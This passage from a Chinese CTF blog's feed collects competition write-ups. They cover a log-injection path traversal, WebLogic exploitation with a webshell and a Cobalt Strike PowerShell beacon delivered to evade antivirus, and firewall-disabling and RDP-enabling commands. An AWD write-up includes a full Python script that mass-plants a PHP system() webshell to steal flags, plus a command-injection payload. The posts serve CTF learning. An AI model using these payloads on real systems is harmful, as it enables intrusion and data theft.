&lt;p>到这里其实已经可以达到写入任意字符串的目的，但还不能说明什么，因为写入的地址并不能被访问，而且文件名是固定的，所以直接上马可能性不大，得找地方利用这个允许我们随意写东西的地方。&lt;/p>
&lt;p>看回刚刚爆破开的admin.php，在登陆验证逻辑过后紧接着这一段&lt;/p>
&lt;p>&lt;img alt="image-20250318194822271" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318194822271.png">&lt;/p>
&lt;p>可以看到它把log文件读到变量$action_log，接着$log_lines再以换行作为分隔符将日志作切割。这里我们再看回到config.php，来看一下日志是怎么写的。&lt;/p>
&lt;p>&lt;img alt="image-20250318195738488" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318195738488.png">&lt;/p>
&lt;p>可以看到$log_file变量就是以换行为结尾的，并且以逗号为分割。所以我们继续往下看admin.php。可以发现我们写入的东西都会被处理完后放到对应的变量里，而只有$additional_info是我们可以控制的（$encoded_user是base64，控制不了）。&lt;/p>
&lt;p>接着往下看&lt;/p>
&lt;p>&lt;img alt="image-20250318200343405" loading="lazy" src="https://redshome.top/posts/2025-03-18-2025%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B-writeup/image-20250318200343405.png">&lt;/p>
&lt;p>这段代码将$encoded_user作为用户名拼接路径，然后再把路径的内容读出来。那么利用思路就清晰了，我们刚才一直在找的任意写入应该就是在这里发挥用处，也就是控制$encoded_user。但这不就和上面说的不能控制矛盾了吗？有什么办法可以通过$additional_info来控制$encoded_user吗？&lt;/p>
&lt;p>如果你的思维足够跳跃，应该就能想到用任意文件写入来写入换行，以此在$additional_info来创建一条假日志。这样我们就能控制这条假日志的用户名了。说起来有点抽象，我们来看个具体的例子&lt;/p>
&lt;p>这是根据log_action函数生成出来的日志，大概像下面这样&lt;/p>
&lt;pre tabindex="0">&lt;code>1,abwidab,admin_login,1,\n //log_action($username, &amp;#39;admin_login&amp;#39;, 1);
2,dqbvwwfqiq,register,1,\n //log_action($username, &amp;#39;register&amp;#39;, 1);
3,wqifbqwibc,record_banned,0,Failed to record banned content\n //当record_banned无法创建目录但可以创建文件时log_action($username, &amp;#39;record_banned&amp;#39;, 0, &amp;#39;Failed to record banned content&amp;#39;);
4,wqifbqwibc,record_banned,0,Failed to create record directory for 这里拼接任意字符串\n //当record_banned无法创建目录但可以创建文件时log_action($username, &amp;#39;record_banned&amp;#39;, 0, &amp;#39;Failed to create record directory for &amp;#39;.$username);
&lt;/code>&lt;/pre>&lt;p>那么username应该输入什么呢？示例如下&lt;/p>
&lt;pre tabindex="0">&lt;code>2,dqbvwwfqiq,register,1,\n
4,wqifbqwibc,record_banned,0,Failed to create record directory for \n
11,../flag,record_banned,1,111\n
&lt;/code>&lt;/pre>&lt;p>而我们输入的用户名就是&lt;/p></description></item><item><title>24-25下半学年第二次线下赛 | Writeup</title><link>https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/</link><pubDate>Fri, 14 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/</guid><description>&lt;p>只开了一台靶机。这里我以本地的环境为例简单讲一些重要的指令和过程&lt;/p>
&lt;h2 id="外网打点">外网打点&lt;/h2>
&lt;p>&lt;img alt="image-20250314101136085" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314101136085.png">&lt;/p>
&lt;p>除了回环地址和我的物理机外，设备有两台，&lt;code>.80&lt;/code>和&lt;code>.201&lt;/code>&lt;/p>
&lt;p>用fscan扫一下&lt;/p>
&lt;p>&lt;img alt="image-20250314101540070" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314101540070.png">&lt;/p>
&lt;p>只能扫到&lt;code>.80&lt;/code>，应该是&lt;code>.201&lt;/code>有防火墙，那就从这台开始入手&lt;/p>
&lt;p>&lt;img alt="image-20250314101729955" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314101729955.png">&lt;/p>
&lt;p>重点放在服务上，会发现7001端口开了http。这个端口一般是weblogic，所以直接上工具（&lt;a href="https://github.com/shack2/javaserializetools">shack2/javaserializetools&lt;/a>）&lt;/p>
&lt;p>&lt;img alt="image-20250314101925791" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314101925791.png">&lt;/p>
&lt;p>检查发现存在CVE2017，换个工具(&lt;a href="https://github.com/sp4zcmd/WeblogicExploit-GUI">sp4zcmd/WeblogicExploit-GUI&lt;/a>)直接上冰蝎马&lt;/p>
&lt;p>先确保能执行&lt;/p>
&lt;p>&lt;img alt="image-20250314102104096" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314102104096.png">&lt;/p>
&lt;p>然后直接上马。建议上完内存马再上一个webshell，因为实测起来内存马容易连不上&lt;/p>
&lt;p>&lt;img alt="image-20250314104801469" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314104801469.png">&lt;/p>
&lt;p>&lt;img alt="image-20250314105218797" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314105218797.png">&lt;/p>
&lt;p>这里要注意冰蝎启动前先换到11或17，否则会出现连不上的情况（没有的话可以用apt install openjdk-17-dev安装）&lt;/p>
&lt;p>&lt;img alt="image-20250314105412389" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314105412389.png">&lt;/p>
&lt;p>这里我连webshell&lt;/p>
&lt;p>&lt;img alt="image-20250314105256700" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314105256700.png">&lt;/p>
&lt;p>成功上线&lt;/p>
&lt;p>&lt;img alt="image-20250314105434511" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314105434511.png">&lt;/p>
&lt;p>上来后选择虚拟终端先再命令执行页面执行whoami查看权限&lt;/p>
&lt;p>&lt;img alt="image-20250314105524096" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314105524096.png">&lt;/p>
&lt;p>目的是查看权限和确保马能正常使用。接着为了方便内网信息搜集，所以要上CS或者msf。这里我选择CS，但是如果直接上Beacon会被杀软干掉，所以我们要想办法绕过。一种办法是做免杀马，但比较麻烦，所以我们选择用CS的Web Drive-by绕&lt;/p>
&lt;p>首先监听器是必须的，就不演示了&lt;/p>
&lt;p>&lt;img alt="image-20250314110042699" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314110042699.png">&lt;/p>
&lt;p>接着选择Attack-&amp;gt;Web Drive-by-&amp;gt;script web delivcery&lt;/p>
&lt;p>&lt;img alt="image-20250314110335555" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314110335555.png">&lt;/p>
&lt;p>点击Launch后会给你一段powershell的马，直接再冰蝎运行即可，等待十五秒左右就能上线&lt;/p>
&lt;p>&lt;img alt="image-20250314112318074" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314112318074.png">&lt;/p>
&lt;p>接着修改sleep，然后进行提权和内网信息搜集。&lt;/p>
&lt;p>不过如果你想用msf内置的CVE拿meterpreter也是可以，只不过后面提权msf会遇到问题，还是得转到CS。如果你用的是msf，想转到CS，可以用下面的方法来&lt;/p>
&lt;p>首先还是在CS弄好监听器，&lt;/p>
&lt;p>接着将meterpreter放到background，接着按下面的步骤来设置&lt;/p>
&lt;p>&lt;img alt="img" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/b70af25672f9ef308d8c57fc63f44e03.png">&lt;/p>
&lt;p>就能成功上线CS&lt;/p>
&lt;h2 id="内网横向">内网横向&lt;/h2>
&lt;p>先提权，SVC即可&lt;/p>
&lt;p>&lt;img alt="image-20250314113505174" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314113505174.png">&lt;/p>
&lt;p>&lt;img alt="image-20250314113521817" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314113521817.png">&lt;/p>
&lt;p>接着关防火墙，开3389&lt;/p>
&lt;pre tabindex="0">&lt;code>netsh firewall set opmode disable
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&amp;#34; &amp;#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
&lt;/code>&lt;/pre>&lt;p>接着扫目标，可以用portscan也可以用net view（查看域存活主机）。当然要是你想上fscan也可以，只不过有360所以被干掉的概率比较大&lt;/p>
&lt;p>&lt;img alt="image-20250314113559773" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314113559773.png">&lt;/p>
&lt;p>就能看到10段的内网靶机列表。不知道怎么进入这个列表去看第一场wp&lt;/p>
&lt;p>&lt;img alt="image-20250314113710076" loading="lazy" src="https://redshome.top/posts/2025-03-14-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250314113710076.png">&lt;/p>
&lt;p>当然，如果你想看是否有360，只需要点击下port scan下面的process list就可以看到&lt;/p></description></item><item><title>24-25下半学年第一次线下赛 | Writeup</title><link>https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/</link><pubDate>Mon, 10 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/</guid><description>&lt;h2 id="取证赛道">取证赛道&lt;/h2>
&lt;h3 id="计算机u盘apk手机">计算机、U盘、APK、手机&lt;/h3>
&lt;p>&lt;a href="https://www.cnblogs.com/WXjzc/p/18560734">2024数证杯初赛 - WXjzc - 博客园&lt;/a>&lt;/p>
&lt;h3 id="服务器">服务器&lt;/h3>
&lt;h4 id="服务器1">服务器1&lt;/h4>
&lt;p>直接用md5sum算出即可：a2444b61b65be96fc2e65924dee8febd&lt;/p>
&lt;h4 id="服务器2">服务器2&lt;/h4>
&lt;p>直接用strings就能梭出来&lt;/p>
&lt;pre tabindex="0">&lt;code>strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20250310173959154" loading="lazy" src="https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250310173959154.png">&lt;/p>
&lt;h4 id="服务器3">服务器3&lt;/h4>
&lt;p>通过上一题可以发现两个接口&lt;code>/connect&lt;/code>和&lt;code>/upload/&lt;/code>&lt;/p>
&lt;p>&lt;img alt="Fig. 4. Result of the &lt;code>strings ubuntu-client&lt;/code> command." loading="lazy" src="images/figure_task_3_1_hu8af2961df02ca5c37c710cdfcf461190_60701_e56754559befe02598bf6079339a7d31.webp">&lt;/p>
&lt;p>尝试在GDB中运行&lt;code>ubuntu-client&lt;/code>，但缺少&lt;code>libcrypto.so.1.1&lt;/code>库&lt;/p>
&lt;p>&lt;img alt="image-20250310174022092" loading="lazy" src="https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250310174022092.png">&lt;/p>
&lt;p>使用以下命令下载并编译缺失的库：&lt;/p>
&lt;pre tabindex="0">&lt;code>wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz &amp;amp;&amp;amp; \
tar xf openssl-1.1.1s.tar.gz &amp;amp;&amp;amp; \
cd openssl-1.1.1s/ &amp;amp;&amp;amp; \
./config --prefix=&amp;#34;/usr/local/openssl&amp;#34; &amp;amp;&amp;amp; \
make
&lt;/code>&lt;/pre>&lt;p>使用环境变量&lt;code>LD_LIBRARY_PATH&lt;/code>指定GDB查找依赖库的路径：&lt;/p>
&lt;pre tabindex="0">&lt;code>LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client
&lt;/code>&lt;/pre>&lt;p>使用GDB扩展&lt;code>peda&lt;/code>来辅助分析，用&lt;code>info functions&lt;/code>命令列出恶意软件使用的函数，注意到&lt;code>curl_easy_setopt@plt&lt;/code>，这是一个用于建立curl连接的函数&lt;/p>
&lt;p>&lt;img alt="image-20250310174129348" loading="lazy" src="https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250310174129348.png">&lt;/p>
&lt;p>在&lt;code>curl_easy_setopt&lt;/code>函数上设置断点：&lt;/p>
&lt;pre tabindex="0">&lt;code>b curl_easy_setopt
&lt;/code>&lt;/pre>&lt;p>开始调试：&lt;/p>
&lt;pre tabindex="0">&lt;code>run xGonnaGiveIt2Ya
&lt;/code>&lt;/pre>&lt;p>&lt;img alt="image-20250310174212905" loading="lazy" src="https://redshome.top/posts/2025-03-10-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup/images/image-20250310174212905.png">&lt;/p>
&lt;p>就能发现地址&lt;/p>
&lt;h4 id="服务器4">服务器4&lt;/h4>
&lt;p>根据上一题，可以直接得出：https://plankton-app-3qigq.ondigitalocean.app/upload/&lt;/p>
&lt;h4 id="服务器5">服务器5&lt;/h4>
&lt;p>因为提供的内存转储文件无法被Volatility正确处理，所以要先确定生成转储文件的机器所使用的内核版本。&lt;/p>
&lt;p>通过运行命令&lt;code>python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners&lt;/code>，可以确定Ubuntu使用的内核版本是&lt;code>5.4.0-163-generic&lt;/code>&lt;/p>
&lt;p>接着使用&lt;a href="https://github.com/Abyss-W4tcher/volatility3-symbols/tree/master">这个仓库&lt;/a>，并将其内容复制到&lt;code>volatility3/symbols/linux&lt;/code>目录中，然后查找与执行命令&lt;code>ubuntu-client xGonnaGiveIt2Ya&lt;/code>时间对应的&lt;code>.service&lt;/code>文件&lt;/p></description></item><item><title>HKcert CTF 2024 final mini-ad | Writeup</title><link>https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/</link><pubDate>Mon, 03 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/</guid><description>&lt;p>全网第一篇wp^ ^（本来回来那天就该写了，拖延症硬是拖到现在&amp;hellip;&amp;hellip;）&lt;/p>
&lt;p>由于这题的阉割版被我放在线上赛，如果想直接看线上赛题解可以直接在目录里只看初步分析即可&lt;/p>
&lt;h2 id="目录结构主要文件">目录结构&amp;amp;主要文件&lt;/h2>
&lt;p>&lt;img alt="image-20250303134124060" loading="lazy" src="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/images/image-20250303134124060.png">&lt;/p>
&lt;p>docker-compose.yaml&lt;/p>
&lt;p>&lt;img alt="image-20250303134215040" loading="lazy" src="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/images/image-20250303134215040.png">&lt;/p>
&lt;p>拓补图如下&lt;/p>
&lt;p>&lt;img alt="image-20250303134802443" loading="lazy" src="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/images/image-20250303134802443.png">&lt;/p>
&lt;p>只有proxy和ssh分配到内网ip。proxy设计得很聪明，作用是防止反弹shell，只能通过上马直连的方式获取有限的命令执行，拿不到tty，而且也防止了安插诸如mitmproxy这类中间人流量监控，保证自己的流量不被别人监听&lt;/p>
&lt;p>接着就来直接分析一下web的代码&lt;/p>
&lt;h2 id="初步分析">初步分析&lt;/h2>
&lt;p>只有一个后端文件post.php，前端给了三个种选项。lev2是直接发消息并保存到messages，lev4是添加token鉴权，lev7是在token鉴权基础上使用qrcode编码消息。&lt;/p>
&lt;p>全审一遍后会发现，除了file_put_content能直接写入东西外，危险函数只有两个include和一个shell_exec&lt;/p>
&lt;p>&lt;img alt="image-20250303152855041" loading="lazy" src="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/images/image-20250303152855041.png">&lt;/p>
&lt;p>&lt;img alt="image-20250303152912871" loading="lazy" src="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/images/image-20250303152912871.png">&lt;/p>
&lt;p>所以入手的思路就有两种&lt;/p>
&lt;ol>
&lt;li>通过lev2/4写shell.php，直接访问messages/shell.php或用post.php?name=shell.php&amp;amp;level=2&lt;/li>
&lt;li>通过lev7做命令截断，例如&lt;code>message=;echo \'&amp;lt;?php system($_GET[&amp;quot;cmd&amp;quot;])?&amp;gt;\' &amp;gt; messages/{name}.php&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>但因为是awd，所以要进一步来做防御和持久化&lt;/p>
&lt;h2 id="实况回忆">实况回忆&lt;/h2>
&lt;p>能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手，比赛刚开始的时候一看awd，大家也都马上拿出预存的现成一句马批量种植脚本，很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马，从这之后才开始出现画风突变，什么不死马、隐身文件，甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚，但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚&lt;/p>
&lt;p>在大概30轮左右的时候，其实大家在短时间内能想出来的招数也已经差不多都使完了，不过我在比赛之前就料想到可能会有awd这么一环，根据以往的经验，我便决定采取“敌先动我不动”的策略，除了最开始的一句马脚本在接着跑&lt;code>grep 'flag'&lt;/code>以外，在批量脚本里我还加上一句&lt;code>cat *&lt;/code>，开始到处搜刮其他人靶机上留下的马&lt;/p>
&lt;p>所以接下来的木马升级，我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈，&lt;del>让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒！&lt;/del>&lt;/p>
&lt;h2 id="木马设计">木马设计&lt;/h2>
&lt;p>先放上我最开始的一句马脚本，后面的脚本都是在这个框架的基础上做修改&lt;/p>
&lt;pre tabindex="0">&lt;code>import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open(&amp;#34;ip&amp;#34;, &amp;#34;r&amp;#34;) as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print(&amp;#34;错误：未找到 ip 文件。请确保目标 IP 列表文件存在。&amp;#34;)
return []
# 目标 URL 和参数
def get_target_url(ip):
return f&amp;#34;http://{ip}/post.php&amp;#34;
def get_file_url(ip):
return f&amp;#34;http://{ip}/messages/akared555.php&amp;#34;
PARAMS = {
&amp;#34;name&amp;#34;: &amp;#34;akared555.php&amp;#34;,
&amp;#34;message&amp;#34;: &amp;#34;&amp;lt;?php system(\&amp;#34;grep -r &amp;#39;MINIAD{&amp;#39; . &amp;amp;&amp;amp; cat *\&amp;#34;);?&amp;gt;&amp;#34;,
&amp;#34;level&amp;#34;: &amp;#34;2&amp;#34;,
}
# 请求头
HEADERS = {
&amp;#34;Accept&amp;#34;: &amp;#34;*/*&amp;#34;,
&amp;#34;Accept-Language&amp;#34;: &amp;#34;zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5&amp;#34;,
&amp;#34;Cache-Control&amp;#34;: &amp;#34;no-cache&amp;#34;,
&amp;#34;Connection&amp;#34;: &amp;#34;keep-alive&amp;#34;,
&amp;#34;Content-Length&amp;#34;: &amp;#34;0&amp;#34;,
&amp;#34;Origin&amp;#34;: &amp;#34;http://43.199.161.42&amp;#34;,
&amp;#34;Pragma&amp;#34;: &amp;#34;no-cache&amp;#34;,
&amp;#34;User-Agent&amp;#34;: &amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0&amp;#34;,
}
def upload_file(target_url):
&amp;#34;&amp;#34;&amp;#34;
上传文件到目标服务器
&amp;#34;&amp;#34;&amp;#34;
try:
response = requests.post(
target_url,
params=PARAMS,
headers=HEADERS,
verify=False # 忽略 SSL 证书验证
)
return response.status_code == 200
except requests.RequestException:
return False
def check_flag(file_url):
&amp;#34;&amp;#34;&amp;#34;
检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
&amp;#34;&amp;#34;&amp;#34;
try:
response = requests.get(file_url, headers=HEADERS, verify=False)
if response.status_code == 200:
content = response.text
# 使用正则表达式查找以 MINIAD{ 开头的 flag
flag_match = re.search(r&amp;#34;MINIAD\{.*?\}&amp;#34;, content)
if flag_match:
print(f&amp;#34;找到 flag: {flag_match.group(0)}&amp;#34;)
except requests.RequestException:
pass
def attack_ip(ip):
&amp;#34;&amp;#34;&amp;#34;
对单个 IP 地址执行上传和检查操作
&amp;#34;&amp;#34;&amp;#34;
target_url = get_target_url(ip)
file_url = get_file_url(ip)
if upload_file(target_url):
check_flag(file_url)
def main():
&amp;#34;&amp;#34;&amp;#34;
主函数：并发检查所有 IP 地址
&amp;#34;&amp;#34;&amp;#34;
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(attack_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == &amp;#34;__main__&amp;#34;:
main()
&lt;/code>&lt;/pre>&lt;p>结构其实很简单，其实就是实现了最基本的上传和访问、获取功能&lt;/p></description></item><item><title>24-25下半学年第一次线上赛 | Writeup</title><link>https://redshome.top/posts/2025-03-02-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</link><pubDate>Sun, 02 Mar 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-03-02-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</guid><description>&lt;h2 id="misc">MISC&lt;/h2>
&lt;h4 id="签到">签到&lt;/h4>
&lt;p>发现每个emoji的英文的首字母就代表了真实的字符&lt;/p>
&lt;p>例如home-&amp;gt;🏠-&amp;gt;h，以此类推出hello ctf -&amp;gt; 🏠🦅🍋🍋🍊 🐈🌮🍟&lt;/p>
&lt;h4 id="spa">Spa&lt;/h4>
&lt;p>根据提示可知，和斯巴达密码棒有关，搜索之后了解过后得知其实就是字符移位，也就是栅栏密码&lt;/p>
&lt;p>搜索栅栏密码解密工具，通过不断测试栏数后就能得到答案&lt;/p>
&lt;p>&lt;img alt="image-20250302224404468" loading="lazy" src="https://redshome.top/posts/2025-03-02-24-25%E4%B8%8B%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-20250302224404468.png">&lt;/p>
&lt;p>因为存在空格，个别在线工具可能解不出来，这里附上我使用的工具&lt;a href="https://www.qqxiuzi.cn/bianma/zhalanmima.php">栅栏密码在线加密解密 - 千千秀字&lt;/a>&lt;/p>
&lt;h2 id="crypto">CRYPTO&lt;/h2>
&lt;h4 id="ezrsa">ezRsa&lt;/h4>
&lt;p>exp如下&lt;/p>
&lt;pre tabindex="0">&lt;code>from Crypto.Util.number import *
import gmpy2
n =
e = 65537
c =
def factor(n):
pq_list = []
a = gmpy2.iroot(n, 2)[0]
while 1:
B_2 = pow(a, 2) - n
if gmpy2.is_square(B_2):
b = gmpy2.iroot(B_2, 2)[0]
p1q1= a - b
p2q2 = a + b
pq_list.append([p1q1, p2q2])
if len(pq_list) == 2:
break
a += 1
return pq_list
pq_list = factor(n)
X1, Y1 = pq_list[0]
X2, Y2 = pq_list[1]
p1 = gmpy2.gcd(X1, X2)
q1 = gmpy2.gcd(Y1, Y2)
p2 = X2 // p1
q2 = Y2 // q1
phi = (p1 - 1)*(q1 - 1)*(p2 - 1)*(q2 - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)
&lt;/code>&lt;/pre>&lt;h2 id="web">WEB&lt;/h2>
&lt;h4 id="打赏">打赏&lt;/h4>
&lt;p>详情见下一篇博客&lt;a href="https://redshome.top/posts/2025-03-03-hkcert-ctf-2024-final-mini-ad-writeup/">HKcert CTF 2024 final mini-ad | Writeup | Red的小屋&lt;/a>&lt;/p></description></item><item><title>HTB CDNio | Writeup</title><link>https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/</link><pubDate>Mon, 10 Feb 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/</guid><description>&lt;p>可能是这题的全网第一篇简中wp（&lt;/p>
&lt;h2 id="分析">分析&lt;/h2>
&lt;p>按照惯例，先找flag在哪&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-10-1024x110.png">&lt;/p>
&lt;p>在数据库，并且在admin用户同一条记录下。再分析一下功能，主要就四个&lt;/p>
&lt;ul>
&lt;li>
